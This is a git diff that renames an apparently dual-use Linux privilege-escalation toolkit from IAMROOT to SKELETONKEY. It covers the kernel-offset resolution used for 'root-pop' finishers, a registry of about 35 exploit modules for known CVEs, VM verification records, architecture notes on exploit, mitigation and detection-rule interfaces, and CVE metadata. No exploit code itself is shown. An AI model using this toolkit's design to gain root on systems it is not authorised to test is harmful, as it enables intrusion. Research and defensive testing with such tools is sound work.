     OFFSETS_FROM_ENV     = 1,
     OFFSETS_FROM_KALLSYMS = 2,
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
     OFFSETS_FROM_TABLE   = 4,
 };
 
-struct iamroot_kernel_offsets {
+struct skeletonkey_kernel_offsets {
     /* Host fingerprint */
     char kernel_release[128];  /* uname -r */
     char distro[64];           /* parsed from /etc/os-release ID= */
 
     /* Kernel base — needed when offsets are relative-to-_text.
-     * Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
+     * Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
     uintptr_t kbase;
 
     /* Symbol virtual addresses (final, post-KASLR-resolution). */
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
     uint32_t cred_uid_offset;  /* offset of uid_t uid in cred (almost always 4) */
 
     /* Where did each field come from. */
-    enum iamroot_offset_source source_modprobe;
-    enum iamroot_offset_source source_init_task;
-    enum iamroot_offset_source source_cred;
+    enum skeletonkey_offset_source source_modprobe;
+    enum skeletonkey_offset_source source_init_task;
+    enum skeletonkey_offset_source source_cred;
 };
 
 /* Best-effort resolution. Returns the number of critical fields
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
  *
  * Resolution chain is tried in order; later sources do NOT overwrite
  * a field already set by an earlier source. */
-int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
+int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
 
 /* Apply a runtime-leaked kbase to any embedded-table entries that
  * shipped as relative-to-_text offsets. Idempotent. */
-void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
+void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
                                       uintptr_t leaked_kbase);
 
 /* Returns true if modprobe_path can be written (the simplest root-pop
  * finisher). */
-bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
+bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
 
 /* Returns true if init_task + cred offsets are known (the cred-uid
  * finisher). */
-bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
+bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
 
 /* For diagnostic logging — pretty-print what we resolved to stderr. */
-void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
+void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
 
 /* Helper: return the name of the source enum. */
-const char *iamroot_offset_source_name(enum iamroot_offset_source src);
+const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
 
-#endif /* IAMROOT_OFFSETS_H */
+#endif /* SKELETONKEY_OFFSETS_H */

core/registry.c

@@ -1,8 +1,13 @@
 /*
- * IAMROOT — module registry implementation
+ * SKELETONKEY — module registry implementation
  *
  * Simple flat array. Resized in chunks of 16. We never expect more
  * than a few dozen modules, so this is fine.
+ *
+ * The canonical "register every family" enumeration lives in
+ * registry_all.c — kept separate so this file links into the
+ * standalone kernel_range unit-test binary without pulling in every
+ * module's symbol.
  */
 
 #include "registry.h"
@@ -14,22 +19,22 @@
 
 #define REGISTRY_CHUNK 16
 
-static const struct iamroot_module **g_modules = NULL;
+static const struct skeletonkey_module **g_modules = NULL;
 static size_t g_count = 0;
 static size_t g_cap = 0;
 
-void iamroot_register(const struct iamroot_module *m)
+void skeletonkey_register(const struct skeletonkey_module *m)
 {
     if (m == NULL || m->name == NULL) {
-        fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
+        fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
         return;
     }
     if (g_count == g_cap) {
         size_t new_cap = g_cap + REGISTRY_CHUNK;
-        const struct iamroot_module **n =
+        const struct skeletonkey_module **n =
             realloc((void *)g_modules, new_cap * sizeof(*g_modules));
         if (n == NULL) {
-            fprintf(stderr, "[!] iamroot_register: OOM\n");
+            fprintf(stderr, "[!] skeletonkey_register: OOM\n");
             return;
         }
         g_modules = n;
@@ -38,18 +43,18 @@ void iamroot_register(const struct iamroot_module *m)
     g_modules[g_count++] = m;
 }
 
-size_t iamroot_module_count(void)
+size_t skeletonkey_module_count(void)
 {
     return g_count;
 }
 
-const struct iamroot_module *iamroot_module_at(size_t i)
+const struct skeletonkey_module *skeletonkey_module_at(size_t i)
 {
     if (i >= g_count) return NULL;
     return g_modules[i];
 }
 
-const struct iamroot_module *iamroot_module_find(const char *name)
+const struct skeletonkey_module *skeletonkey_module_find(const char *name)
 {
     if (name == NULL) return NULL;
     for (size_t i = 0; i < g_count; i++) {

core/registry.h

@@ -1,44 +1,66 @@
 /*
- * IAMROOT — module registry
+ * SKELETONKEY — module registry
  *
  * Global list of registered modules. Each family contributes via
- * register_<family>_modules() called from iamroot main() at startup.
+ * register_<family>_modules() called from skeletonkey main() at startup.
  */
 
-#ifndef IAMROOT_REGISTRY_H
-#define IAMROOT_REGISTRY_H
+#ifndef SKELETONKEY_REGISTRY_H
+#define SKELETONKEY_REGISTRY_H
 
 #include "module.h"
 
-void iamroot_register(const struct iamroot_module *m);
+void skeletonkey_register(const struct skeletonkey_module *m);
 
-size_t iamroot_module_count(void);
-const struct iamroot_module *iamroot_module_at(size_t i);
+size_t skeletonkey_module_count(void);
+const struct skeletonkey_module *skeletonkey_module_at(size_t i);
 
 /* Find a module by name. Returns NULL if not found. */
-const struct iamroot_module *iamroot_module_find(const char *name);
+const struct skeletonkey_module *skeletonkey_module_find(const char *name);
 
 /* Each module family declares one of these in its public header. The
- * top-level iamroot main() calls them in order at startup. */
-void iamroot_register_copy_fail_family(void);
-void iamroot_register_dirty_pipe(void);
-void iamroot_register_entrybleed(void);
-void iamroot_register_pwnkit(void);
-void iamroot_register_nf_tables(void);
-void iamroot_register_overlayfs(void);
-void iamroot_register_cls_route4(void);
-void iamroot_register_dirty_cow(void);
-void iamroot_register_ptrace_traceme(void);
-void iamroot_register_netfilter_xtcompat(void);
-void iamroot_register_af_packet(void);
-void iamroot_register_fuse_legacy(void);
-void iamroot_register_stackrot(void);
-void iamroot_register_af_packet2(void);
-void iamroot_register_cgroup_release_agent(void);
-void iamroot_register_overlayfs_setuid(void);
-void iamroot_register_nft_set_uaf(void);
-void iamroot_register_af_unix_gc(void);
-void iamroot_register_nft_fwd_dup(void);
-void iamroot_register_nft_payload(void);
+ * top-level skeletonkey main() calls them in order at startup. */
+void skeletonkey_register_copy_fail_family(void);
+void skeletonkey_register_dirty_pipe(void);
+void skeletonkey_register_entrybleed(void);
+void skeletonkey_register_pwnkit(void);
+void skeletonkey_register_nf_tables(void);
+void skeletonkey_register_overlayfs(void);
+void skeletonkey_register_cls_route4(void);
+void skeletonkey_register_dirty_cow(void);
+void skeletonkey_register_ptrace_traceme(void);
+void skeletonkey_register_netfilter_xtcompat(void);
+void skeletonkey_register_af_packet(void);
+void skeletonkey_register_fuse_legacy(void);
+void skeletonkey_register_stackrot(void);
+void skeletonkey_register_af_packet2(void);
+void skeletonkey_register_cgroup_release_agent(void);
+void skeletonkey_register_overlayfs_setuid(void);
+void skeletonkey_register_nft_set_uaf(void);
+void skeletonkey_register_af_unix_gc(void);
+void skeletonkey_register_nft_fwd_dup(void);
+void skeletonkey_register_nft_payload(void);
+void skeletonkey_register_sudo_samedit(void);
+void skeletonkey_register_sequoia(void);
+void skeletonkey_register_sudoedit_editor(void);
+void skeletonkey_register_vmwgfx(void);
+void skeletonkey_register_dirtydecrypt(void);
+void skeletonkey_register_fragnesia(void);
+void skeletonkey_register_pack2theroot(void);
+void skeletonkey_register_sudo_chwoot(void);
+void skeletonkey_register_udisks_libblockdev(void);
+void skeletonkey_register_pintheft(void);
+void skeletonkey_register_mutagen_astronomy(void);
+void skeletonkey_register_sudo_runas_neg1(void);
+void skeletonkey_register_tioscpgrp(void);
+void skeletonkey_register_vsock_uaf(void);
+void skeletonkey_register_nft_pipapo(void);
 
-#endif /* IAMROOT_REGISTRY_H */
+/* Call every skeletonkey_register_<family>() above in canonical order.
+ * Single source of truth so the main binary and the test binary stay
+ * in sync — adding a new module is one register_* declaration here
+ * and one call inside skeletonkey_register_all_modules() in
+ * core/registry.c (the test harness picks it up automatically). */
+void skeletonkey_register_all_modules(void);
+
+#endif /* SKELETONKEY_REGISTRY_H */

core/registry_all.c

@@ -0,0 +1,54 @@
+/*
+ * SKELETONKEY — canonical "register every module family" enumeration.
+ *
+ * Kept in its own translation unit so registry.c stays standalone:
+ * the kernel_range unit-test binary links registry.c (for the basic
+ * register / count / find API) without pulling in every module's
+ * symbol. The main binary and detect-integration test link this
+ * file too and get the full lineup.
+ *
+ * Adding a new module is one new register_<family>() declaration in
+ * registry.h plus one call below — the integration test picks it up
+ * via skeletonkey_register_all_modules() in its main().
+ */
+
+#include "registry.h"
+
+void skeletonkey_register_all_modules(void)
+{
+    skeletonkey_register_copy_fail_family();
+    skeletonkey_register_dirty_pipe();
+    skeletonkey_register_entrybleed();
+    skeletonkey_register_pwnkit();
+    skeletonkey_register_nf_tables();
+    skeletonkey_register_overlayfs();
+    skeletonkey_register_cls_route4();
+    skeletonkey_register_dirty_cow();
+    skeletonkey_register_ptrace_traceme();
+    skeletonkey_register_netfilter_xtcompat();
+    skeletonkey_register_af_packet();
+    skeletonkey_register_fuse_legacy();
+    skeletonkey_register_stackrot();
+    skeletonkey_register_af_packet2();
+    skeletonkey_register_cgroup_release_agent();
+    skeletonkey_register_overlayfs_setuid();
+    skeletonkey_register_nft_set_uaf();
+    skeletonkey_register_af_unix_gc();
+    skeletonkey_register_nft_fwd_dup();
+    skeletonkey_register_nft_payload();
+    skeletonkey_register_sudo_samedit();
+    skeletonkey_register_sequoia();
+    skeletonkey_register_sudoedit_editor();
+    skeletonkey_register_vmwgfx();
+    skeletonkey_register_dirtydecrypt();
+    skeletonkey_register_fragnesia();
+    skeletonkey_register_pack2theroot();
+    skeletonkey_register_sudo_chwoot();
+    skeletonkey_register_udisks_libblockdev();
+    skeletonkey_register_pintheft();
+    skeletonkey_register_mutagen_astronomy();
+    skeletonkey_register_sudo_runas_neg1();
+    skeletonkey_register_tioscpgrp();
+    skeletonkey_register_vsock_uaf();
+    skeletonkey_register_nft_pipapo();
+}

core/verifications.c

@@ -0,0 +1,329 @@
+/*
+ * SKELETONKEY — verification records table
+ *
+ * AUTO-GENERATED by tools/refresh-verifications.py from
+ * docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
+ *
+ * Source: tools/verify-vm/verify.sh appends one JSON record per
+ * run; this generator dedupes to (module, vm_box, kernel, expect)
+ * and keeps the latest by verified_at.
+ */
+
+#include "verifications.h"
+
+#include <stddef.h>
+#include <string.h>
+#include <stdbool.h>
+
+const struct verification_record verifications[] = {
+    {
+        .module        = "af_packet",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "OK",
+        .actual_detect = "OK",
+        .status        = "match",
+    },
+    {
+        .module        = "af_packet2",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "af_unix_gc",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "cgroup_release_agent",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "cls_route4",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-43-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "dirty_pipe",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "OK",
+        .actual_detect = "OK",
+        .status        = "match",
+    },
+    {
+        .module        = "dirtydecrypt",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "6.19.7-061907-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "entrybleed",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "fuse_legacy",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "netfilter_xtcompat",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nf_tables",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_fwd_dup",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_payload",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-43-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_pipapo",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_set_uaf",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "overlayfs",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "overlayfs_setuid",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "pack2theroot",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "6.1.0-17-amd64",
+        .host_distro   = "Debian GNU/Linux 12 (bookworm)",
+        .vm_box        = "generic/debian12",
+        .expect_detect = "PRECOND_FAIL",
+        .actual_detect = "PRECOND_FAIL",
+        .status        = "match",
+    },
+    {
+        .module        = "ptrace_traceme",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "pwnkit",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sequoia",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "stackrot",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "6.1.10-060110-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudo_chwoot",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudo_runas_neg1",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudo_samedit",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudoedit_editor",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "PRECOND_FAIL",
+        .actual_detect = "PRECOND_FAIL",
+        .status        = "match",
+    },
+    {
+        .module        = "tioscpgrp",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "5.4.0-26-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "udisks_libblockdev",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "6.1.0-17-amd64",
+        .host_distro   = "Debian GNU/Linux 12 (bookworm)",
+        .vm_box        = "generic/debian12",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+};
+
+const size_t verifications_count =
+    sizeof(verifications) / sizeof(verifications[0]);
+
+const struct verification_record *
+verifications_for_module(const char *module, size_t *count_out)
+{
+    if (count_out) *count_out = 0;
+    if (!module) return NULL;
+    const struct verification_record *first = NULL;
+    size_t n = 0;
+    for (size_t i = 0; i < verifications_count; i++) {
+        if (strcmp(verifications[i].module, module) == 0) {
+            if (first == NULL) first = &verifications[i];
+            n++;
+        }
+    }
+    if (count_out) *count_out = n;
+    return first;
+}
+
+bool verifications_module_has_match(const char *module)
+{
+    size_t n = 0;
+    const struct verification_record *r = verifications_for_module(module, &n);
+    for (size_t i = 0; i < n; i++)
+        if (r[i].status && strcmp(r[i].status, "match") == 0)
+            return true;
+    return false;
+}

core/verifications.h

@@ -0,0 +1,52 @@
+/*
+ * SKELETONKEY — per-module verification records
+ *
+ * "Verified-on" entries — concrete (distro, kernel, date) tuples where
+ * tools/verify-vm/verify.sh has empirically confirmed a module's
+ * detect() verdict against a known-vulnerable target. Each entry is one
+ * row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
+ * by tools/refresh-verifications.py.
+ *
+ * Modules with >=1 record carry an empirical-trust badge ("✓ verified
+ * on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
+ * output. Modules with zero records are still tested at the unit level
+ * (synthetic fingerprints), but have not yet been confirmed on a real
+ * vulnerable kernel.
+ *
+ * Append-only by intent: each verify.sh run appends a fresh JSONL line
+ * (timestamped); the refresh script dedupes to (module, vm_box,
+ * kernel, expect_detect) when generating the C table so re-runs of the
+ * same scenario update rather than accumulate.
+ */
+
+#ifndef SKELETONKEY_VERIFICATIONS_H
+#define SKELETONKEY_VERIFICATIONS_H
+
+#include <stdbool.h>
+#include <stddef.h>
+
+struct verification_record {
+    const char *module;          /* module name (matches struct skeletonkey_module.name) */
+    const char *verified_at;     /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
+    const char *host_kernel;     /* uname -r value, e.g. "5.4.0-169-generic" */
+    const char *host_distro;     /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
+    const char *vm_box;          /* vagrant box name, e.g. "generic/ubuntu2004" */
+    const char *expect_detect;   /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
+    const char *actual_detect;   /* what skeletonkey --explain returned */
+    const char *status;          /* "match" iff actual == expected; otherwise "MISMATCH" */
+};
+
+extern const struct verification_record verifications[];
+extern const size_t                      verifications_count;
+
+/* Returns the first record (count via *count_out) for the named module,
+ * or NULL if the module has no recorded verifications. The records are
+ * stored contiguously in the table, so once you have the pointer you
+ * can iterate count_out entries forward. */
+const struct verification_record *
+verifications_for_module(const char *module, size_t *count_out);
+
+/* True iff the module has at least one "match" record. */
+bool verifications_module_has_match(const char *module);
+
+#endif /* SKELETONKEY_VERIFICATIONS_H */

docs/ARCHITECTURE.md

@@ -14,7 +14,7 @@ modules/<module_name>/
 ├── MODULE.md                  # Human-readable writeup of the bug
 ├── NOTICE.md                  # Credits to original researcher
 ├── kernel-range.json          # Machine-readable affected kernels
-├── module.c                   # Implements iamroot_module interface
+├── module.c                   # Implements skeletonkey_module interface
 ├── module.h
 ├── detect/
 │   ├── auditd.rules           # blue team detection
@@ -24,10 +24,10 @@ modules/<module_name>/
 └── tests/                     # per-module tests (run in CI matrix)
 ```
 
-### `iamroot_module` interface (planned, Phase 1)
+### `skeletonkey_module` interface (planned, Phase 1)
 
 ```c
-struct iamroot_module {
+struct skeletonkey_module {
     const char *name;           /* "copy_fail" */
     const char *cve;            /* "CVE-2026-31431" */
     const char *summary;        /* one-line description */
@@ -35,29 +35,29 @@ struct iamroot_module {
     /* Return 1 if host appears vulnerable, 0 if patched/immune,
      * -1 if probe couldn't run. May call entrybleed_leak_kbase()
      * etc. from core/ if a leak primitive is needed. */
-    int (*detect)(struct iamroot_host *host);
+    int (*detect)(struct skeletonkey_host *host);
 
     /* Run the exploit. Caller has already passed the
      * authorization gate. Returns 0 on root acquired,
      * nonzero on failure. */
-    int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
+    int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
 
     /* Apply a runtime mitigation for this CVE (sysctl, module
      * blacklist, etc.). Returns 0 on success. NULL if no
      * mitigation is offered. */
-    int (*mitigate)(struct iamroot_host *host);
+    int (*mitigate)(struct skeletonkey_host *host);
 
     /* Undo --exploit-backdoor or --mitigate side effects. */
-    int (*cleanup)(struct iamroot_host *host);
+    int (*cleanup)(struct skeletonkey_host *host);
 
     /* Affected kernel version range, distros covered, etc. */
-    const struct iamroot_kernel_range *ranges;
+    const struct skeletonkey_kernel_range *ranges;
     size_t n_ranges;
 };
 ```
 
 Modules register themselves at link time via a constructor-attribute
-table. The top-level `iamroot` binary iterates the registry on each
+table. The top-level `skeletonkey` binary iterates the registry on each
 invocation.
 
 ## Shared `core/`
@@ -78,11 +78,15 @@ Code that more than one module needs lives in `core/`:
 
 ## Top-level dispatcher
 
-`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
+`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
 
 1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
    `--detect-rules`, `--cleanup`, etc.)
-2. Fingerprint the host
+2. **Fingerprint the host** — `core/host.c` is called once at startup
+   to populate `struct skeletonkey_host` (kernel version + arch +
+   distro + capability gates + service presence). The result is
+   handed to every module via `ctx->host`. See "Host fingerprint"
+   below.
 3. For `--scan`: iterate module registry, call each module's
    `detect()`, emit table of results
 4. For `--exploit <name>`: locate module, gate behind `--i-know`,
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
 5. For `--detect-rules`: walk module registry, concatenate detection
    files in the requested format
 
+## Host fingerprint (`core/host.{h,c}`)
+
+A single `struct skeletonkey_host` is populated once at startup and
+exposed to every module via `ctx->host` (a stable pointer for the
+process lifetime). It carries:
+
+- **Identity:** `struct kernel_version kernel` + arch + nodename +
+  distro id/version/pretty (parsed from `/etc/os-release`).
+- **Process state:** euid, real_uid (defeats the userns illusion by
+  reading `/proc/self/uid_map`), egid, username, is_root,
+  is_ssh_session.
+- **Platform family:** is_linux, is_debian_family, is_rpm_family,
+  is_arch_family, is_suse_family.
+- **Capability gates (Linux):** unprivileged_userns_allowed (live
+  fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
+  kpti_enabled, kernel_lockdown_active, selinux_enforcing,
+  yama_ptrace_restricted.
+- **System services:** has_systemd, has_dbus_system.
+
+Modules that want to consult the fingerprint do:
+
+```c
+#include "../../core/host.h"
+/* ... */
+if (ctx->host && !ctx->host->unprivileged_userns_allowed)
+    return SKELETONKEY_PRECOND_FAIL;
+if (ctx->host->kernel.major < 7)
+    return SKELETONKEY_OK;   /* predates the bug */
+```
+
+The migration is opt-in per module — modules that don't `#include`
+host.h continue to do their own probes; modules that do save the
+duplicate work and get a consistent view across the whole scan.
+
+`--auto` and `--scan` (in verbose mode) print a two-line banner of
+the fingerprint via `skeletonkey_host_print_banner()` so operators
+can see at a glance which gates are open.
+
 ## CI matrix
 
 `.github/workflows/ci.yml` (planned, Phase 4) runs each module's
@@ -109,7 +151,7 @@ the module).
 1. `git checkout -b add-cve-XXXX-NNNN`
 2. `cp -r modules/_stubs/_template modules/<module_name>`
 3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
-4. Implement `module.c` exposing the `iamroot_module` interface
+4. Implement `module.c` exposing the `skeletonkey_module` interface
 5. Ship at least one detection rule under `detect/`
 6. Add tests under `tests/`
 7. PR. CI runs the matrix. If it lands root on at least one

docs/CVE_METADATA.json

@@ -0,0 +1,236 @@
+[
+  {
+    "cve": "CVE-2016-5195",
+    "module_dir": "dirty_cow_cve_2016_5195",
+    "cwe": "CWE-362",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-03-03"
+  },
+  {
+    "cve": "CVE-2017-7308",
+    "module_dir": "af_packet_cve_2017_7308",
+    "cwe": "CWE-681",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2019-13272",
+    "module_dir": "ptrace_traceme_cve_2019_13272",
+    "cwe": null,
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2021-12-10"
+  },
+  {
+    "cve": "CVE-2020-14386",
+    "module_dir": "af_packet2_cve_2020_14386",
+    "cwe": "CWE-250",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2021-22555",
+    "module_dir": "netfilter_xtcompat_cve_2021_22555",
+    "cwe": "CWE-787",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2025-10-06"
+  },
+  {
+    "cve": "CVE-2021-3156",
+    "module_dir": "sudo_samedit_cve_2021_3156",
+    "cwe": "CWE-193",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-04-06"
+  },
+  {
+    "cve": "CVE-2021-33909",
+    "module_dir": "sequoia_cve_2021_33909",
+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2021-3493",
+    "module_dir": "overlayfs_cve_2021_3493",
+    "cwe": "CWE-270",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-10-20"
+  },
+  {
+    "cve": "CVE-2021-4034",
+    "module_dir": "pwnkit_cve_2021_4034",
+    "cwe": "CWE-787",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-06-27"
+  },
+  {
+    "cve": "CVE-2022-0185",
